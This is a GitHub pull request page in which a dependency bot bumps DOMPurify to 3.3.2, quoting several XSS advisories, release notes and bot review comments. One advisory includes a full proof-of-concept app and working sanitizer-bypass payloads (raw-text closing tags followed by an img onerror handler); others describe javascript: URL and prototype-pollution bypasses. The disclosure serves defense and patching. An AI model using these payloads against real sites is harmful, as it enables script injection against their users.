fix(deps): update dependency dompurify to v3.3.2 [security] by renovate[bot] · Pull Request #38 · khulnasoft/devsecdb

renovate · 2025-02-15T03:53:17Z

This PR contains the following updates:

Package	Change	Age	Confidence
dompurify	`3.1.7` → `3.3.2`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

DOMPurify allows Cross-site Scripting (XSS)

CVE-2025-26791 / GHSA-vhxf-7vqr-mrjg

More information

Details

DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).

Severity

CVSS Score: 4.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2025-15599 / GHSA-v8jm-5vwx-cfxm

More information

Details

DOMPurify 3.1.3 through 3.2.6 and 2.5.3 through 2.5.8 contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting missing textarea rawtext element validation in the SAFE_FOR_XML regex. Attackers can include closing rawtext tags like </textarea> in attribute values to break out of rawtext contexts and execute JavaScript when sanitized output is placed inside rawtext elements. The 3.x branch was fixed in 3.2.7; the 2.x branch was never patched.

Severity

CVSS Score: 5.1 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify contains a Cross-site Scripting vulnerability

CVE-2026-0540 / GHSA-v2wj-7wpq-c8vv

More information

Details

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Severity

CVSS Score: 5.1 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC

Start the PoC app:

npm install
npm start

Open http://localhost:3001.
Set Wrapper en sink to xmp.
Use payload:

 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">

Click Sanitize + Render.
Observe:

Sanitized response still contains the </xmp> sequence inside alt.
The sink reparses to include <img src="x" onerror="alert('expoc')">.
alert('expoc') is triggered.

Files:

index.html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>

server.js

const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});

package.json

{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}

Evidence

PoC

daft-video.webm

XSS triggered

Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance

Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
Keep the rendering context stable from sanitize to sink.
Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify USE_PROFILES prototype pollution allows event handlers

GHSA-cj63-jhhr-wcxv

More information

Details

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify ADD_ATTR predicate skips URI validation

GHSA-cjmm-f4jc-qw8r

More information

Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

cure53/DOMPurify (dompurify)

`v3.3.2`: DOMPurify 3.3.2

Compare Source

Fixed a possible bypass caused by jsdom's faulty raw-text tag parsing, thanks multiple reporters
Fixed a prototype pollution issue when working with custom elements, thanks @christos-eth
Fixed a lenient config parsing in _isValidAttribute, thanks @christos-eth
Bumped and removed several dependencies, thanks @Rotzbua
Fixed the test suite after bumping dependencies, thanks @Rotzbua

`v3.3.1`: DOMPurify 3.3.1

Compare Source

Updated ADD_FORBID_CONTENTS setting to extend default list, thanks @MariusRumpf
Updated the ESM import syntax to be more correct, thanks @binhpv

`v3.3.0`: DOMPurify 3.3.0

Compare Source

Added the SVG mask-type attribute to default allow-list, thanks @prasadrajandran
Added support for ADD_ATTR and ADD_TAGS to accept functions, thanks @nelstrom
Fixed an issue with the slot element being in both SVG and HTML allow-list, thanks @Wim-Valgaeren

`v3.2.7`: DOMPurify 3.2.7

Compare Source

Added new attributes and elements to default allow-list, thanks @elrion018
Added tagName parameter to custom element attributeNameCheck, thanks @nelstrom
Added better check for animated href attributes, thanks @llamakko
Updated and improved the bundled types, thanks @ssi02014
Updated several tests to better align with new browser encoding behaviors
Improved the handling of potentially risky content inside CDATA elements, thanks @securityMB & @terjanq
Improved the regular expression for raw-text elements to cover textareas, thanks @securityMB & @terjanq

`v3.2.6`: DOMPurify 3.2.6

Compare Source

Fixed several typos and removed clutter from our documentation, thanks @Rotzbua
Added matrix: as an allowed URI scheme, thanks @kleinesfilmroellchen
Added better config hardening against prototype pollution, thanks @EffectRenan
Added better handling of attribute removal, thanks @michalnieruchalski-tiugo
Added better configuration for aggressive mXSS scrubbing behavior, thanks @BryanValverdeU
Removed the script that caused the fake entry CVE-2025-48050

`v3.2.5`: DOMPurify 3.2.5

Compare Source

Added a check to the mXSS detection regex to be more strict, thanks @masatokinugawa
Added ESM type imports in source, removes patch function, thanks @donmccurdy
Added script to verify various TypeScript configurations, thanks @reduckted
Added more modern browsers to the Karma launchers list
Added Node 23.x to tested runtimes, removed Node 17.x
Fixed the generation of source maps, thanks @reduckted
Fixed an unexpected behavior with ALLOWED_URI_REGEXP using the 'g' flag, thanks @hhk-png
Fixed a few typos in the README file

`v3.2.4`: DOMPurify 3.2.4

Compare Source

Fixed a conditional and config dependent mXSS-style bypass reported by @nsysean
Added a new feature to allow specific hook removal, thanks @davecardwell
Added purify.js and purify.min.js to exports, thanks @Aetherinox
Added better logic in case no window object is president, thanks @yehuya
Updated some dependencies called out by dependabot
Updated license files etc to show the correct year

`v3.2.3`: DOMPurify 3.2.3

Compare Source

Fixed two conditional sanitizer bypasses discovered by @parrot409 and @Slonser
Updated the attribute clobbering checks to prevent future bypasses, thanks @parrot409

`v3.2.2`: DOMPurify 3.2.2

Compare Source

Fixed a possible bypass in case a rather specific config for custom elements is set, thanks @yaniv-git
Fixed several minor issues with the type definitions, thanks again @reduckted
Fixed a minor issue with the types reference for trusted types, thanks @reduckted
Fixed a minor problem with the template detection regex on some systems, thanks @svdb99

`v3.2.1`: DOMPurify 3.2.1

Compare Source

Fixed several minor issues with the type definitions, thanks @reduckted @ghiscoding @asamuzaK @MiniDigger
Fixed an issue with non-minified dist files and order of imports, thanks @reduckted

`v3.2.0`: DOMPurify 3.2.0

Compare Source

Added type declarations, thanks @reduckted , @philmayfield, @aloisklink, @ssi02014 and others
Fixed a minor issue with the handling of hooks, thanks @kevin-mizu

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

sourcery-ai · 2025-02-15T03:53:21Z

Reviewer's Guide by Sourcery

This pull request updates the dompurify dependency from version 3.1.7 to 3.2.4. This update addresses a known security vulnerability (CVE-2025-26791) related to mutation cross-site scripting (mXSS).

No diagrams generated as the changes look simple and do not need a visual representation.

File-Level Changes

Change	Details	Files
The pull request updates the `dompurify` dependency to version 3.2.4 to address a security vulnerability.	Updated `dompurify` from version 3.1.7 to 3.2.4 in `package.json`. Updated the `dompurify` version in `pnpm-lock.yaml`.	`frontend/pnpm-lock.yaml` `frontend/package.json`

Possibly linked issues

chore: bump the npm_and_yarn group in /frontend with 3 updates #20: PR updates dompurify to v3.2.4 due to a mutation cross-site scripting vulnerability.

Tips and commands

Interacting with Sourcery

Trigger a new review: Comment @sourcery-ai review on the pull request.
Continue discussions: Reply directly to Sourcery's review comments.
Generate a GitHub issue from a review comment: Ask Sourcery to create an
issue from a review comment by replying to it. You can also reply to a
review comment with @sourcery-ai issue to create an issue from it.
Generate a pull request title: Write @sourcery-ai anywhere in the pull
request title to generate a title at any time. You can also comment
@sourcery-ai title on the pull request to (re-)generate the title at any time.
Generate a pull request summary: Write @sourcery-ai summary anywhere in
the pull request body to generate a PR summary at any time exactly where you
want it. You can also comment @sourcery-ai summary on the pull request to
(re-)generate the summary at any time.
Generate reviewer's guide: Comment @sourcery-ai guide on the pull
request to (re-)generate the reviewer's guide at any time.
Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
pull request to resolve all Sourcery comments. Useful if you've already
addressed all the comments and don't want to see them anymore.
Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
request to dismiss all existing Sourcery reviews. Especially useful if you
want to start fresh with a new review - don't forget to comment
@sourcery-ai review to trigger a new review!
Generate a plan of action for an issue: Comment @sourcery-ai plan on
an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

Enable or disable review features such as the Sourcery-generated pull request
summary, the reviewer's guide, and others.
Change the review language.
Add, remove or edit custom review instructions.
Adjust other review settings.

Getting Help

Contact our support team for questions or feedback.
Visit our documentation for detailed guides and information.
Keep in touch with the Sourcery team by following us on X/Twitter, LinkedIn or GitHub.

coderabbitai · 2025-02-15T03:53:25Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

🔍 Trigger a full review

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

sourcery-ai

We have skipped reviewing this pull request. It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!

codiumai-pr-agent-free · 2025-02-16T10:18:31Z

CI Feedback 🧐

A test triggered by this PR failed. Here is an AI-generated analysis of the failure:

Action: go-tests
Failed stage: [❌]
Failure summary: The action failed because no GitHub runner was available to execute the job. The system was waiting for a runner to pick up the job but timed out or was interrupted.
Relevant error logs: 1: Job defined at: khulnasoft/devsecdb/.github/workflows/test_link.yml@refs/pull/38/merge 2: Waiting for a runner to pick up this job...

sourcery-ai Bot reviewed Feb 15, 2025

View reviewed changes

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from f2ddc97 to ee1c5e2 Compare September 25, 2025 06:54

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from ee1c5e2 to 38e0e1d Compare January 1, 2026 00:07

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from 38e0e1d to 89af424 Compare February 3, 2026 04:12

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from 89af424 to d8d2498 Compare February 13, 2026 12:07

renovate Bot changed the title ~~fix(deps): update dependency dompurify to v3.2.4 [security]~~ fix(deps): update dependency dompurify to v3.3.2 [security] Mar 8, 2026

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from d8d2498 to 98ca4b0 Compare March 8, 2026 08:51

fix(deps): update dependency dompurify to v3.3.2 [security]

2c6a680

renovate Bot force-pushed the renovate/npm-dompurify-vulnerability branch from 98ca4b0 to 2c6a680 Compare May 1, 2026 04:59

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix(deps): update dependency dompurify to v3.3.2 [security]#38

fix(deps): update dependency dompurify to v3.3.2 [security]#38
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-dompurify-vulnerability

renovate Bot commented Feb 15, 2025 •

edited

Loading

Uh oh!

sourcery-ai Bot commented Feb 15, 2025 •

edited

Loading

Interacting with Sourcery

Customizing Your Experience

Getting Help

Uh oh!

coderabbitai Bot commented Feb 15, 2025 •

edited

Loading

Review skipped

Uh oh!

sourcery-ai Bot left a comment

Uh oh!

codiumai-pr-agent-free Bot commented Feb 16, 2025

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate Bot commented Feb 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

DOMPurify allows Cross-site Scripting (XSS)

Details

Severity

References

DOMPurify contains a Cross-site Scripting vulnerability

Details

Severity

References

DOMPurify contains a Cross-site Scripting vulnerability

Details

Severity

References

DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

Details

Description

Vulnerability

PoC

Evidence

Why This Happens

Remediation Guidance

Severity

References

DOMPurify USE_PROFILES prototype pollution allows event handlers

Details

Summary

Impact

Credits

Severity

References

DOMPurify ADD_ATTR predicate skips URI validation

Details

Summary

Impact

Credits

Severity

References

Release Notes

v3.3.2: DOMPurify 3.3.2

v3.3.1: DOMPurify 3.3.1

v3.3.0: DOMPurify 3.3.0

v3.2.7: DOMPurify 3.2.7

v3.2.6: DOMPurify 3.2.6

v3.2.5: DOMPurify 3.2.5

v3.2.4: DOMPurify 3.2.4

v3.2.3: DOMPurify 3.2.3

v3.2.2: DOMPurify 3.2.2

v3.2.1: DOMPurify 3.2.1

v3.2.0: DOMPurify 3.2.0

Configuration

Uh oh!

sourcery-ai Bot commented Feb 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Reviewer's Guide by Sourcery

File-Level Changes

Possibly linked issues

Interacting with Sourcery

Customizing Your Experience

Getting Help

Uh oh!

coderabbitai Bot commented Feb 15, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Review skipped

Uh oh!

sourcery-ai Bot left a comment

Choose a reason for hiding this comment

Uh oh!

codiumai-pr-agent-free Bot commented Feb 16, 2025

CI Feedback 🧐

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate Bot commented Feb 15, 2025 •

edited

Loading

`v3.3.2`: DOMPurify 3.3.2

`v3.3.1`: DOMPurify 3.3.1

`v3.3.0`: DOMPurify 3.3.0

`v3.2.7`: DOMPurify 3.2.7

`v3.2.6`: DOMPurify 3.2.6

`v3.2.5`: DOMPurify 3.2.5

`v3.2.4`: DOMPurify 3.2.4

`v3.2.3`: DOMPurify 3.2.3

`v3.2.2`: DOMPurify 3.2.2

`v3.2.1`: DOMPurify 3.2.1

`v3.2.0`: DOMPurify 3.2.0

sourcery-ai Bot commented Feb 15, 2025 •

edited

Loading

coderabbitai Bot commented Feb 15, 2025 •

edited

Loading